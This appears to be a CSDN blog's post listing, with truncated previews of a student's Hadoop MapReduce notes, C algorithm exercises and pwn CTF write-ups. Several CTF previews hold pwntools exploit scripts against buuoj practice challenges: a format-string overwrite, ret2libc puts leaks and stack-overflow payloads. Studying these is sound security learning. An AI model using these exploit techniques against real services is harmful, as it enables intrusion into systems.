- 博客(29)
- 收藏
- 关注
原创 knn两个
先考虑训练集很大,测试集很小的情况将测试集设置为全局文件,由于测试集很小,所以用hdfs的方法,在每一个map节点都会计算出它与每一个测试集的距离,输出:Key=测试集ID,Value=标签,距离然后在reduce中对距离进行排序,选取最小的前3个,把他们的标签放入List集合中,利用set集合去重的作用,将标签放入hashset(set集合的一种)中,再对与list集合中的标签进行比较(两个for循环),相等则计数+1,最终得到频率最高的标签即为该测试数据标签。输出key=测试数据ID,value=预
2022-01-21 19:00:40
1588
原创 专利引用关系数据集分析
专利引用关系数据集分析这次实验的两个题目,一个可以由词频统计代码改编,一个由倒排索引改编,改编的重点是将每一排的两个输入分开。输出专利被引用次数统计结果:根据题目要求需要输出被引用的专利和它的次数,在wordcount的基础上使用.split(",")方法,可以将一排输入的专利和被引用的专利以‘,’为间隔分开。存入字符串strs中。strs[0]为专利,strs[1]为被引用的专利。package wordcount;//导入必要的packageimport java...
2022-01-21 18:59:55
655
原创 专利去重重
package wordcount;//导入必要的packageimport java.io.IOException; //报错类import java.util.HashSet;import java.util.Iterator;//迭代器,与string和next有关import java.util.Set;import java.util.StringTokenizer; //StringTokenizer类,用于将空白字符作为分割符的类import org.apache
2022-01-21 18:59:15
116
原创 过滤停用词
过滤停用词过滤停用词中的重点是设置全局变量,设置全局变量有两种方法,1.hdfs读取,将文件设置在所有节点都能访问的地方,适合文件较大类型 2.利用分布式缓存的方式,运行的时候会把文件复制在每个节点中,适合文件较小的类型//利用分布式缓存方式设置全局变量package wordcount;import java.io.BufferedReader;import java.io.FileReader;import java.io.IOEx...
2022-01-21 18:57:35
476
原创 从wordcount词频统计代码到倒排索引的改编
从wordcount词频统计代码到倒排索引的改编分析word count代码Map中输出了单词和intwriteable类的对象one,而倒排索引,需要输出单词和文件名@偏移,偏移是key中含有的,使用.tostring方法就可以将它变成字符串与文件名和@连接。要输出文件名,需要导入Fliesplit类,将输入的文件分开,并通过.getname()方法获得文件名。Reduce中,wordcount输入是单词和intwriteable类的one,输出是单词和sum后的数字。而倒排索引输入是单词和Text
2022-01-21 18:56:36
130
原创 Hadoop实现词频统计(按照词频降序排列以及相同词频的单词按照字母序排列)
Hadoop实现词频统计(按照词频降序排列以及相同词频的单词按照字母序排列)分为两步词频统计和排序。第一个map reduce与过滤停用词的代码相同;第二个map reduce中的map将键值对内容交换,map到reduce的shufle中会自动进行key值升序排序,这时需要重写排序为降序。Reduce中需要将相同词频的单词按照字母进行升序排列,.sort()方法默认时升序排列的。重点:1.两个map reduce时需要将加入控制器2.重写sort类,在shuffle中的排序public stat
2022-01-21 18:54:46
3804
原创 Ubuntu16.04下Hadoop的本地安装与配置
Ubuntu16.04下Hadoop的本地安装与配置一、系统环境os : Ubuntu 16.04 LTS 64bitjdk : 1.8.0_161hadoop : 3.3.1二、安装步骤1、安装并配置ssh1.1 安装ssh输入命令: $ sudo apt-get install openssh-server ,安装完成后使用命令 $ ssh localhost 登录本机。1.2 配置ssh无密码登录首先使用命令 $ exit 退出上一步的ssh,然后使用ssh-keyge...
2022-01-21 18:52:56
2891
原创 jarvisoj_fm 1 格式化字符串漏洞
1 from pwn import * 2 p = remote("node3.buuoj.cn",29263) 3 payload = p32(0x0804A02C)+b"%11$n" 4 p.sendline(payload) 5 p.interactive() ~需要覆盖x的值,将x的值变为4,利用格式化字符串漏洞。
2021-06-01 22:00:17
189
原创 2021-05-29
pwn2_sctf_20161 from pwn import * 2 from LibcSearcher import * 3 context.log_level = 'debug' 4 p = remote('node3.buuoj.cn', 25642) 5 elf
2021-05-29 20:16:33
68
原创 2021-05-22
not_the_same_3dsctf_2016 11 from pwnimport* 2 io=remote('node3.buuoj.cn',27593) 3 exit=0x0804e660 4 context.log_level='debug'//必须要开这个才能看见flag 5 flag=0x080eca2d//f14g的地址 6 printf=0x0804f
2021-05-22 17:38:44
128
原创 2021-05-16
[OGeek2019]babyrop1.open函数的返回值:如果操作成功,它将返回一个文件描述符,如果操作失败,它将返回-1;2.文件描述符:0,1,2是标准IO输入/输出/错误输出给占用了,当文件open成功了,会返回数值3;3.read(fd,&buf,4u)是把fd所指向的随机数写入到buf文件中,长度是4个字节。 此时,buf是随机数作为参数传入f2;4.sprintf的作用是将一个格式化的字符串输出到一个目的字符串中5.read函数原型:ssize_t read(int fd
2021-05-16 00:29:17
1573
原创 2021-05-11
1 from pwn import* 2 from LibcSearcher import * 3 io=remote('node3.buuoj.cn',26312) 4 elf=ELF("./ciscn_2019_c_1") 5 puts_plt=elf.plt['puts']//等于的是puts.plt的地址 6 puts_got=elf.got['puts'] .
2021-05-15 20:50:52
98
原创 第二天
今天也做了两道题第一题ciscn_2019_n_1 1点进去就可以看见11.28125在内存中存储的值。涉及到浮点数在内存中如何存储的问题:阶码https://blog.51cto.com/u_10984944/24758981 from pwn import *23 p=remote(‘node3.buuoj.cn’,29879)45 payload=b"A"*44+p64(0x41348000)6 p.sendline(payload)78 p.interactive()第
2021-04-27 17:29:43
83
原创 第一天
做了两道水题,我就是个废物第一题 buu rip1这里很神奇,可以通过代码看出s是15个字节的但是通过gdb调试rbp到rsp之间有16字节,实际上仔细看第一行最后一个数字是d0不是41(A)所以要构造15+8=23字节的垃圾数据payload=b"A"*23+p64(0x401016)+p64(0x401186)第二题 warmup题1 from pwn import *2 context.log_level = ‘debug’ #显示调试的信息3 p = remote(“
2021-04-25 22:18:46
111
原创 最少硬币找钱问题(动态规划)
#include <stdio.h>#include <stdlib.h>#define inf 0x3f3f3f3fint m[20][2000],p[200],w[20],s[20][2000];int max(int i,int j){if(i>j) return i;return j;}int min(int i,int j){if(i<j) return i;return j;}void knap(int M,int n){int
2021-01-18 14:58:44
668
原创 矩阵连乘
#include <stdio.h>#include <stdlib.h>//int m[200][200],s[200][200],p[200];//void MATRIXCHAIN(int n)可以采用全局变量,就不用传参,简单//void MATRIXCHAIN(int *p,int n,int **m,int **s)//二维数组不能这样赋值,因为不知道列数,所以确定不了指的范围void MATRIXCHAIN(int *p,int n,int m[][20],
2021-01-18 14:57:35
63
原创 0-1背包问题回溯法+上界函数
#include <stdio.h>#include <stdlib.h>int cp,cw,bestp,a[20]={0},M,w[20],p[20],n;int check(int k){ float up=(float)cp;int uw=cw; if (cw<a[k]*w[k]) return 0; else {while(uw>0&&(k<=n))//计算上界函数 {
2021-01-18 14:56:16
1060
原创 0-1背包问题动态规划
#include <stdio.h>#include <stdlib.h>int m[20][20],p[20],w[20];int max(int i,int j){ if(i>j) return i; return j;}int min(int i,int j){ if(i<j) return i; return j;}void knap(int M,int n){ int jmax,i,j; jma
2021-01-18 14:53:27
80
原创 多项式合并
#include <stdio.h>#include <stdlib.h>typedef struct pnode{ int coef; int exp; struct pnode *next;} polynode;//带有头结点的尾插法建表 polynode* GREASTLIST(){ int b,n,a; polynode* head, * r, * s; head =malloc(sizeof(polynode)
2020-12-07 19:49:31
579
原创 单源最短路径 迪杰特斯拉算法
#include <stdio.h>#include <stdlib.h>#define inf 0x3f3ftypedef struct//图的存储结构——邻接矩阵{ int arcs[20][20];}graph;CREATEGRAPH(graph *ga,int n)//建图{ int i,j,k; int w,e; scanf("%d",&e);//输入边数 for(i=0;i<n;i++) for(
2020-11-28 13:30:08
233
原创 作业调度问题之贪心算法
#include <stdio.h>#include <stdlib.h>struct node{ int num; int value; int time;};struct node a[20],b[20];int main(){ int n,i,j,min; struct node t; scanf("%d",&n); for(i=1;i<=n;i++) { a[i].nu
2020-11-28 13:22:45
1961
1
原创 十进制大数乘法,加法,减法
#include <stdio.h>#include <math.h>void print(int * m);void yiwei(int * m1, int * m2, int n); /* m1左移n位得到m2 */void sub(int *A, int * B, int * C);void add(int *A,int *B, int *C);void mult(int *x, int *y, int n, int *z);int max(int *A,
2020-11-28 13:15:17
733
原创 栈 队列 之小猫钓鱼
基本知识```c#include <stdio.h>#include <stdlib.h>typedef struct{ int data[20]; int top;}stqstack;void PUSH(stqstack *s,int x)//返回的是指针函数也是指针类型的{ s->top++;s->data[s->top]=x;}/*stqstack *PUSH(stqstack *s,int x)//返回的是指针函
2020-10-13 20:11:40
149
原创 dfs+剪枝
下图中,每个方块代表 1…13中的某一个数字,但不重复。例如:1×2+9×7=13×510×8−12×3=11×4只要有任意一个方块代表的数字不同,就算两种不同的方案。请你计算,一共有多少种不同的方案。#include <stdio.h>int a[10];int f[14];int c=0;void dfs(int step){ if(step==5){ int result1 = a[0]*a[1]+a[2]*a[3]; int
2020-09-29 23:06:39
60
原创 方程组的解数
蒜头君在求解一个 nnn 元的高次方程:k1x1p1+k2x2p2+…+knxnpn=0\displaystyle k_1x_1{p_1}+k_2x_2{p_2}+\ldots+k_nx_n^{p_n}=0k1x1p1+k2x2p2+…+knxnpn=0其中:x1,x2,…,xnx_1,x_2,\ldots,x_nx1,x2,…,xn 是未知数,k1,k2,…,knk_1,k_2,\ldots,k_nk1,k2,…,kn 是系数,p1,p2,…,pnp_1,p_2,\ldo
2020-09-29 20:19:23
154
原创 快速幂取模问题
#include <stdio.h>#include <stdlib.h>int pw(int x, int y, int p) { if (!y) { return 1; } int res = pw(x*x%p,y/2,p); if (y & 1) { res = res * x % p; } return res;}int main() { int x, y, p;
2020-09-28 19:58:00
73
原创 问题
#include <stdio.h>#include <stdlib.h>int l[100000],a[100000],m[100000],r[100000];int min(int x,int y){ if(x>y) return y; return x;}int gcd(int x,int y){ int r,t; if(y>x) { t=x; x=y;
2020-09-27 18:40:04
76
原创 2020-09-25
#include <stdio.h>#include <stdlib.h>int su[1000002];int main(){ int j,i,k; for(k=0;k<1000002;k++) su[k]=1; for(i=2;i<1000002;i++) { if(su[i]==1) { for(j=i+i;j<=1000002;j=j+i)//判断素数的方法 { su[j]=0; } } } i
2020-09-25 18:46:49
50
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人